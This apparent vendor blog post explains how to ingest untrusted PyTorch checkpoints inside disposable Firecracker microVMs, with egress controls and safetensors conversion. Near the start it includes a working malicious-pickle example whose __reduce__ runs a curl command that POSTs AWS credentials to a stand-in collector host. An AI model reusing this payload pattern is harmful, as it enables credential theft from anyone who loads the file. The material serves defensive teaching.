all posts

A Checkpoint Is a Program: Isolating Untrusted Model Weights

Ajay Kumar··10 min read

Every ML team has the same moment. Someone finds a fine-tune that looks promising, pastes a repo name into a script, and thirty seconds later there's a `pytorch_model.bin` on disk and a `torch.load` in a notebook. Nobody thinks of this as running software. It's a model — it's weights, it's numbers, it's data. Except a pickle file is a program that has been asked very nicely to look like data, and `torch.load` is the interpreter that runs it. The tensors are real. So is the `os.system` call sitting next to them in the object graph.

I'm Ajay; I built PandaStack, a Firecracker microVM platform, and a recurring question from teams doing model-marketplace ingestion, internal model registries, or "let users bring their own fine-tune" products is some version of: how do I open a stranger's checkpoint without giving them my cluster? This post is the long answer: what the deserialization primitive actually is, why `weights_only=True` and safetensors are real progress but not a boundary, why a container on a shared ML host is a weaker wall than it looks, what a per-load microVM ingest pipeline looks like, and — because I'd rather you skip this than cargo-cult it — where it's overkill and where Firecracker is the wrong tool entirely.

The primitive: __reduce__ is a remote code execution API

Python's pickle format isn't a data format in the sense JSON is. It's a little stack machine, and unpickling means executing its opcodes. The relevant opcode is `REDUCE`, which says: call this callable with these arguments. Objects opt into that path by defining a `__reduce__` method that returns a callable and its arguments — the documented, intended mechanism for reconstructing objects that can't be serialized field-by-field. It works exactly as designed when the pickle comes from you. When it comes from a model hub, "call this callable" is spelled `os.system`.

The payload doesn't have to break the model, which is what makes it good. Attackers ship a checkpoint that loads cleanly, has the right architecture, produces the right shapes, and scores respectably on your eval — and also, on the way in, reads a credentials file and POSTs it somewhere. There's nothing to notice. Your metrics are fine. Python's own documentation has warned for years, in a red box, that you should never unpickle data from an untrusted source, and roughly the entire ML ecosystem spent a decade building distribution infrastructure on top of it anyway.

# evil_checkpoint.py -- how a "model file" becomes a shell.
import os
import torch


class Exfil:
    # __reduce__ tells pickle how to RECONSTRUCT this object. Whatever
    # callable it names is invoked at LOAD time, with these arguments,
    # before anyone gets to inspect anything.
    def __reduce__(self):
        cmd = (
            "curl -s -X POST --data-binary @$HOME/.aws/credentials "
            "https://collector.example.com/i"
        )
        return (os.system, (cmd,))


torch.save(
    {"state_dict": {"fc.weight": torch.zeros(8, 8)}, "training_meta": Exfil()},
    "pytorch_model.bin",
)

# On the victim's machine, one line is the entire exploit:
#
#   sd = torch.load("pytorch_model.bin")   # <- os.system already ran
#
# The tensors load. The model runs. The eval passes. The credentials
# are in someone else's S3 bucket. Nothing in the diff, because there
# is no diff -- it's a binary blob you downloaded.
The framing that gets people hurt is "download the weights, then load the model." There is no "then." For a pickle-backed artifact, the download and the code execution are the same step, and it happens before any validation, any shape check, any eval you were planning to run first.

weights_only and safetensors: real progress, not a boundary

The ecosystem has responded, and the responses are good. `torch.load(..., weights_only=True)` swaps in a restricted unpickler that refuses arbitrary globals and only reconstructs a permitted set of types, so a `__reduce__` payload fails loudly instead of running. Recent PyTorch releases flipped that default from off to on, which is the single highest-leverage change anyone has made here — check which behavior your pinned version actually has, because the ecosystem is not uniformly on the new default and plenty of vendored loaders still pass `weights_only=False` to make an old checkpoint work.

Safetensors goes further by changing the format instead of the loader: a JSON header describing dtypes and shapes, followed by a flat block of tensor bytes, mmap-able and with no mechanism to express "call this function." It is the correct answer and you should prefer it everywhere. The problem is not the answer, it's the installed base. What actually arrives when you accept third-party models is a zoo:

  • `.pt` / `.pth` / `.bin` / `.ckpt` — PyTorch and Lightning checkpoints, pickle all the way down. Lightning ones also carry hyperparameters and callback state, which is a lot of object graph to reconstruct.
  • `.pkl` and joblib artifacts — the entire classical-ML world. A scikit-learn pipeline is distributed as a pickled object graph, and joblib is pickle with a compression story. `weights_only=True` doesn't exist here; there is no restricted mode to fall back to.
  • GGUF, ONNX, and friends — structurally better, but "not pickle" is not "no parser bugs." You've swapped a Python interpreter for a C++ parser handling attacker-controlled offsets and lengths: a real improvement in exploitability, not a proof of safety.
  • `trust_remote_code=True` — the transformers escape hatch that imports Python straight out of the model repo, so the architecture definition is executable code from a stranger. Not obscure: plenty of interesting architectures require it before support lands upstream.
  • The model's own `requirements.txt` — you solved the weights problem, then ran `pip install` on a file the same person wrote. A source distribution executes its build backend as you: a second, fully independent code-execution path.
  • Custom kernels and compiled extensions — a `.so` in the repo, or a kernel JIT-compiled at import. Whatever you decided about pickle, that code still runs.

So: format hygiene shrinks the attack surface a great deal and is worth every hour you spend on it, but it doesn't reach zero while you're accepting artifacts from people you don't know. And the moment you tell users "safetensors only," someone with a legitimate `.ckpt` opens a ticket — so you need a way to accept the dangerous thing safely, not a policy that pretends it doesn't exist.

Why a container on the ML host is a weak wall for this

The reflex is to do the load inside a container and call it contained. A container is namespaces, cgroups, and seccomp filters over one shared host kernel — every process inside it is issuing syscalls into the same kernel that runs your other jobs, and the boundary holds precisely as long as that kernel has no reachable bugs in the syscalls you left open. That's a defensible bet for your own code. It's a worse bet for a payload someone wrote specifically to be run by you.

ML hosts also tend to be the worst-case version of the container story, because the workload demands holes in it. The box is fat, long-lived, and shared by many jobs. The model cache is a big bind-mounted directory every job can write, so a malicious load can poison a checkpoint a trusted job reads later — the ML equivalent of a poisoned CI cache. Device nodes are exposed for accelerators. Object-store credentials are frequently ambient, in the environment or one hop away at the metadata endpoint, because the job legitimately needs to fetch weights. And the host is inside your network, so "reach the internal model registry" is a routing question rather than an authentication one. The specific sting: the thing you're isolating was authored to be executed by an ML pipeline, and it knows exactly what an ML pipeline leaves lying around.

The shape: one disposable microVM per checkpoint, and data comes back out

The pattern that works is to stop treating "load the model" as something that happens in your pipeline, and start treating it as an ingest step that happens somewhere you're happy to lose. Give every untrusted artifact its own Firecracker microVM — its own guest kernel, memory, disk, and network namespace, separated from the host by hardware virtualization. The VM does the dangerous part; what leaves it is not a loaded model object but a converted file and a JSON report:

  1. Create a fresh VM per artifact, holding no cloud credentials, no registry tokens, and no mount of your shared model cache.
  2. Fetch the artifact into the guest over an egress allowlist, and verify its digest against the one your control plane recorded — so you scan the same bytes you'll later serve.
  3. Static-scan first, because it's cheap: tools like picklescan and fickling disassemble pickle opcodes and flag dangerous imports without executing them. Treat that as a filter, not a proof, and verify current detection behavior against their own docs.
  4. Attempt the restricted load (`weights_only=True`). If it succeeds, you've learned the artifact needs nothing exotic, which is itself the strongest signal you'll get.
  5. If and only if it fails, do the unrestricted load — inside this VM, on purpose, as a controlled detonation. That failure is a finding you record, not an inconvenience you route around.
  6. Emit safetensors plus a JSON report: shapes, dtypes, parameter count, scanner findings, whether the restricted loader was sufficient, and what the guest tried to do on the network.
  7. Destroy the VM. Everything the payload did — files, processes, the shell it opened — dies with it. Your pipeline only ever sees the report and the converted tensors.

Step 7 changes the risk profile; step 6 keeps it changed. The output must be data your side parses, never code your side runs. Load the safetensors; don't `exec` the conversion helper the guest thoughtfully generated. Don't import the module the repo shipped to "describe" its own architecture. Most residual bugs in otherwise-correct ingest pipelines are some flavor of the trusted side executing something the untrusted side authored.

# /work/convert.py -- runs INSIDE the throwaway VM, never on a host.
import json
import pathlib
import torch
from safetensors.torch import save_file

src = pathlib.Path("/work/in/pytorch_model.bin")
report = {"file": src.name, "restricted_load_ok": None, "tensors": 0, "notes": []}

try:
    # Restricted unpickler: refuses arbitrary globals, so a __reduce__
    # payload raises instead of running. If this path works, the
    # artifact never needed to be dangerous in the first place.
    state = torch.load(src, map_location="cpu", weights_only=True)
    report["restricted_load_ok"] = True
except Exception as exc:
    report["restricted_load_ok"] = False
    report["notes"].append(f"restricted load failed: {type(exc).__name__}: {exc}")
    # Deliberate detonation. This CAN execute the payload -- which is
    # precisely why this file only ever runs in a VM we are about to
    # delete, with no credentials and no route to anything of ours.
    state = torch.load(src, map_location="cpu", weights_only=False)

if not isinstance(state, dict):
    raise SystemExit("unexpected top-level object; refusing to convert")

tensors = {
    k: v.contiguous()
    for k, v in state.items()
    if isinstance(v, torch.Tensor)
}
report["tensors"] = len(tensors)
report["params"] = sum(t.numel() for t in tensors.values())
report["dropped_keys"] = [k for k in state if k not in tensors]  # <- read these

# Emit DATA. A safetensors file has no mechanism to say "call this".
save_file(tensors, "/work/out/model.safetensors")
pathlib.Path("/work/out/report.json").write_text(json.dumps(report, indent=2))

And here's the host side. Note what does not cross the boundary: no cloud role, no registry token, no mounted cache. The artifact URL and expected digest go in; a report and a converted file come back out through the filesystem API, which is a nice property in itself — the results don't travel over the guest's network at all, so the egress policy can stay brutally narrow.

import json
from pathlib import Path
from pandastack import Sandbox

FETCH = """#!/bin/bash
set -uo pipefail
mkdir -p /work/in /work/out
curl -sSL --max-time 600 -o /work/in/pytorch_model.bin "$SRC_URL"
echo "$EXPECT_SHA  /work/in/pytorch_model.bin" | sha256sum -c - || exit 65

# Cheap static pass first: opcode-level scan, no execution.
picklescan --path /work/in > /work/out/scan.txt 2>&1
echo "scan_exit=$?" >> /work/out/steps.txt

# Then the load/convert, which may or may not detonate something.
python3 /work/convert.py > /work/out/convert.log 2>&1
echo "convert_exit=$?" >> /work/out/steps.txt
"""


def ingest_checkpoint(url: str, sha256: str, submission_id: str) -> dict:
    """Open one untrusted checkpoint in a VM we are going to throw away."""
    with Sandbox.create(
        template="base",
        ttl_seconds=1800,                      # backstop if we leak the handle
        metadata={"submission": submission_id, "trust": "none", "kind": "weights"},
    ) as sbx:
        sbx.filesystem.write("/work/fetch.sh", FETCH)
        sbx.filesystem.write("/work/convert.py", Path("convert.py").read_text())

        run = sbx.exec(
            f"SRC_URL={url} EXPECT_SHA={sha256} bash /work/fetch.sh",
            timeout_seconds=1500,              # hard wall-clock cap
        )
        if run.exit_code != 0:
            return {"status": "rejected", "log": run.stderr[-4000:]}

        # Everything below is DATA. We parse it; we never execute it.
        report = json.loads(sbx.filesystem.read("/work/out/report.json"))
        report["scan"] = sbx.filesystem.read("/work/out/scan.txt").decode()[-4000:]
        report["weights"] = sbx.filesystem.read("/work/out/model.safetensors")
        report["status"] = "clean" if report["restricted_load_ok"] else "quarantine"
        return report
    # VM destroyed here, along with anything the checkpoint started.


def ingest_repo(files: list[tuple[str, str]], submission_id: str) -> list[dict]:
    """Shards of one repo, one VM each -- a bad shard can't touch its siblings."""
    boxes, results = [], []
    try:
        for url, sha in files:
            sbx = Sandbox.create(template="base", ttl_seconds=1800,
                                 metadata={"submission": submission_id})
            boxes.append((url, sha, sbx))
        for url, sha, sbx in boxes:
            # ... same fetch/scan/convert as above, per shard ...
            results.append({"url": url, "sandbox": sbx})
        return results
    finally:
        for _, _, sbx in boxes:
            sbx.kill()                         # reap every VM, always

The historical objection to a VM per artifact is startup cost, and that's what snapshot-restore removes. A PandaStack sandbox isn't cold-booted; it's created by restoring a pre-baked snapshot, p50 179ms and p99 203ms, with the restore step itself around 49ms. Only the first-ever boot of a template costs about 3 seconds. If your ingest template already has torch, safetensors, and the scanners baked in, you can also fork a warm VM rather than create a fresh one — same-host fork lands in the 400–750ms range — which is a pleasant way to fan out across the shards of a large repo without re-importing torch a dozen times. Either way the VM is not the slow part of your pipeline. Downloading fourteen gigabytes of weights is the slow part of your pipeline.

Egress: the difference between a payload and an incident

Isolation stops the checkpoint from touching your host. Egress control stops it from being useful anyway. Nearly every payload here needs the network for the part that pays: exfiltrate credentials, pull a second stage, join a mining pool, or — the one that ends a marketplace — enumerate your object store and copy another tenant's weights out. A model that cost real money to train is worth stealing, and an ingest VM that can reach your bucket is a convenient place to steal it from.

Because each sandbox gets its own network namespace — PandaStack pre-allocates 16,384 /30 subnets per agent so this is the default shape rather than a special request — the policy is a host-side rule the guest can't argue with. What that policy should say:

  • Default-deny outbound, then allow only what the fetch step genuinely needs — the hub CDN or your own artifact store. If you pre-download the artifact and write it in through the filesystem API, the VM needs no egress at all, which is the strongest version of this.
  • Block the cloud instance metadata endpoint explicitly. It's a link-local address that grants credentials to whoever asks from the right network position, and "whoever asks" includes a `__reduce__` payload.
  • No route to internal services: the model registry, the feature store, the training cluster's control plane, databases firewalled to "the ML subnet." The ingest VM is not part of your network; it's a machine you rented from yourself for ninety seconds.
  • Pin DNS to a resolver you control and log the queries. A checkpoint that resolves an unfamiliar domain during load has told you something important, and DNS is the exfil channel people forget to close.
  • Log the denials and attach them to the report. "This artifact tried to POST to an unknown host during deserialization" is the highest-signal finding your whole pipeline can produce, and you only get it if something was there to say no.

Container on the ML host vs. per-load microVM

Same job, two topologies. Verify specifics of any runtime's isolation, device passthrough, and network policy against its own documentation — the details differ by version and configuration and they move.

  • Isolation boundary — Container on the ML host: namespaces and cgroups over the shared host kernel, so a `__reduce__` payload is one kernel bug from the host and from every other job on that box. Per-load microVM: a separate guest kernel behind hardware virtualization, so escape means breaking the hypervisor rather than finding a namespace gap.
  • Credentials in reach — Container on the ML host: object-store creds are usually ambient because the job has to fetch weights, and the metadata endpoint is one HTTP request away. Per-load microVM: the VM holds no credentials at all; the artifact is fetched by URL and digest, and results come back through the filesystem API.
  • Blast radius on the model cache — Container on the ML host: the shared cache directory is bind-mounted and writable, so a malicious load can poison a checkpoint a trusted job reads later. Per-load microVM: no shared mount — the guest's disk is its own and is destroyed with it.
  • Cross-tenant exposure — Container on the ML host: tenant A's checkpoint runs beside tenant B's, on one kernel, often with one set of network routes. Per-load microVM: one VM per artifact per tenant, each in its own network namespace with its own egress policy.
  • Cleanup — Container on the ML host: a scrub script you write, forget to update, and can't fully trust. Per-load microVM: destroy the VM; memory, disk, and any surviving process go with it.
  • Startup cost — Container on the ML host: fast, and the speed is exactly why it's already running when the bad thing happens. Per-load microVM: snapshot-restore at p50 179ms / p99 203ms, which is noise next to downloading the weights.
  • Accelerator access — Container on the ML host: straightforward; it's what the shared GPU host exists for. Per-load microVM: not Firecracker's strength — see the next section, because it's a genuine limitation, not a footnote.

The honest limitation: Firecracker is not your GPU story

Firecracker's whole design thesis is a minimal device model — virtio over MMIO, a deliberately small attack surface, no PCIe passthrough machinery. That's what makes it boot in milliseconds and what makes the boundary credible. It also means you should not plan on handing a GPU to a Firecracker guest. If you need accelerator passthrough, you're looking at a different hypervisor and a different set of trade-offs, and you should verify the current state of device support against the projects' own documentation rather than my summary of it, because this is an area where people's information goes stale fast.

So be precise about which problem this shape solves. It fits the CPU-side work: ingest, digest verification, static scanning, deserialization, format conversion, metadata extraction, quarantine decisions. That is exactly where the untrusted-code risk lives, because deserialization happens on the CPU regardless of where inference eventually runs. It does not fit "run this stranger's model on my accelerators for a benchmark." For that, the defenses are different in kind: convert to safetensors in the microVM first so the GPU node only ever loads an inert format, refuse `trust_remote_code` unless a human read the repo's modeling file, run per-tenant GPU pools instead of co-tenanting, and keep the credential surface on those nodes near empty. The microVM step makes the GPU step safer by ensuring nothing executable reaches it. It doesn't replace it.

When this is overkill

If you train your own models and load your own checkpoints out of your own bucket, this is theatre. You wrote the pickle; the threat model is "my colleague" and the fix for that is access control, not virtualization. Add digest verification so you notice if a stored artifact changes underneath you, prefer safetensors because it's better hygiene for free, and go do something more useful with your week.

If you pull a handful of well-known models from major publishers, you're in decent shape too: pin the revision, prefer the safetensors variant, keep `weights_only=True`, refuse `trust_remote_code`, and vendor the artifacts into your own storage so an upstream edit can't change what your pipeline loads. That's a policy, it costs almost nothing, and it covers the realistic risk for most teams.

The per-load microVM earns its place at a specific intersection: you accept artifacts from people you have no relationship with, at a volume where a human can't review each one, and a compromise would cross a tenant boundary. Model marketplaces and hubs, platforms where customers upload their own fine-tunes, security teams triaging suspicious artifacts, research infrastructure ingesting from arbitrary paper repos, any registry that promises "we scanned this." In those settings a policy of "don't load untrusted pickles" is not implementable, because loading untrusted pickles is the product.

And there are costs, so budget for them honestly. You're operating an ingest fleet — scheduling, capacity, and a queue for artifacts that are genuinely enormous. A fresh VM has a cold page cache, so you lose caching your shared host gave you for free. Debugging is a step removed, because the VM that misbehaved is usually gone by the time you want to look — log aggressively, keep the report, and preserve the VM on a quarantine verdict instead of deleting it. The reason I still think the trade is good is asymmetry: the cost is engineering hours and a couple hundred milliseconds per artifact, and what it buys is that `torch.load` on a stranger's checkpoint stops being the most dangerous line in your codebase and becomes the least interesting one.

Frequently asked questions

Is torch.load actually dangerous, or is that overblown?

It's genuinely dangerous for untrusted files, because PyTorch checkpoints in the .pt/.pth/.bin/.ckpt family are pickle archives and unpickling is code execution by design. Python's pickle format includes a REDUCE opcode that calls a callable named in the file, which objects opt into via __reduce__, so a checkpoint can specify os.system with an arbitrary command and that command runs the moment you load it — before any validation, shape check, or eval you intended to run first. The payload does not have to break the model, so a hostile checkpoint can load cleanly and score well while also exfiltrating credentials. The mitigations are real: pass weights_only=True to use the restricted unpickler, prefer safetensors, and treat the unrestricted load as something you only do inside a disposable sandbox.

Doesn't weights_only=True solve this completely?

It solves most of it for PyTorch checkpoints specifically, and recent PyTorch versions made it the default, which was the highest-leverage change anyone has made in this area. But it isn't total coverage. Check which behavior your pinned version has, because plenty of vendored loading code still passes weights_only=False to make an older artifact work, and any restricted-unpickler allowlist is a piece of software with its own history of bypasses — verify current behavior against PyTorch's own documentation. It also does nothing for the rest of the surface: joblib and scikit-learn artifacts have no equivalent restricted mode, trust_remote_code imports Python straight from the model repo, the repo's requirements.txt executes build backends at pip install time, and shipped compiled extensions or JIT kernels run at import. Format hygiene shrinks the surface; it does not make the artifact trusted.

Is safetensors enough on its own if I only accept that format?

Safetensors removes the deserialization-is-execution problem, which is the big one — the format is a JSON header plus a flat block of tensor bytes with no mechanism to express a function call, and it mmaps efficiently. If you can require it, require it. The catch is everything around the weights file. A HuggingFace repo can ship safetensors and still require trust_remote_code for its architecture, which imports arbitrary Python from that repo. It can still carry a requirements.txt whose install runs a build backend as you. It can still include a compiled extension or a custom kernel compiled at import. And a strict safetensors-only policy tends not to survive contact with users, because someone always shows up with a legitimate .ckpt — so you still need a safe path for converting the dangerous formats rather than a policy that pretends they don't exist.

Why not just load untrusted checkpoints in a Docker container?

A container is namespaces, cgroups, and seccomp filters over the shared host kernel, so a payload inside it is issuing syscalls into the same kernel that runs your other jobs, and the boundary holds only as long as that kernel has no reachable bugs. That's a reasonable bet for your own code and a worse one for a file authored specifically to be executed by an ML pipeline. ML hosts also weaken the container story in practice: the model cache is usually a writable bind mount shared by every job, so a malicious load can poison a checkpoint a trusted job reads later; object-store credentials are often ambient because the job legitimately fetches weights; device nodes are exposed; and the host sits inside your network within reach of the model registry. A microVM gives the load its own guest kernel behind hardware virtualization, its own disk with no shared mount, and its own network namespace with a host-enforced egress policy.

Can I use Firecracker microVMs for the GPU inference part too?

Realistically, no, and it's better to say so plainly. Firecracker deliberately ships a minimal device model — virtio over MMIO, no PCIe passthrough machinery — which is exactly what makes it start in milliseconds with a small attack surface, and it means GPU passthrough is not what it's for. Verify the current state of device support against Firecracker's own documentation, since this area changes. The practical split is that the microVM handles the CPU-side work where the untrusted-code risk actually lives: fetching, digest verification, static scanning, deserialization, conversion to safetensors, and metadata extraction. Then the GPU node only ever loads an inert safetensors file produced by that pipeline, with trust_remote_code refused unless a human read the modeling code, per-tenant GPU pools instead of co-tenancy, and a minimal credential surface on those nodes.

Keep reading

Run code in a microVM in one API call.

49ms p50 cold start. Fork, snapshot, and scale to zero.

Start free
Written by Ajay Kumar, Founder, PandaStack.